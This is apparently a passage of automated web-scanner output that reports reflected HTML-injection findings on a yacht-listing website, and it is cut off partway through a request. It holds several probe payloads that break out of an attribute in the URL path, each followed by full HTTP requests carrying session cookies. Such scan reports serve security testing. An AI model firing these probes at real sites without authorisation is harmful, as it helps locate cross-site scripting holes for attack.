This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Convertible+Boat/165249"><a>ad6efc06b7b HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:59 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bdf3"><a>e8b8bf62b65 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Cruiser/17bdf3"><a>e8b8bf62b65 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:16 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1827"><a>25a1139d12e was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Cuddy+Cabin/1c1827"><a>25a1139d12e HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:53 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d18dd"><a>470fd712cec was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Express+Cruiser/1d18dd"><a>470fd712cec HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:36 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 353a8"><a>6c329979d18 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Flybridge/1353a8"><a>6c329979d18 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:58:36 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d799"><a>9836dc30568 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Motor+Yacht/11d799"><a>9836dc30568 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; 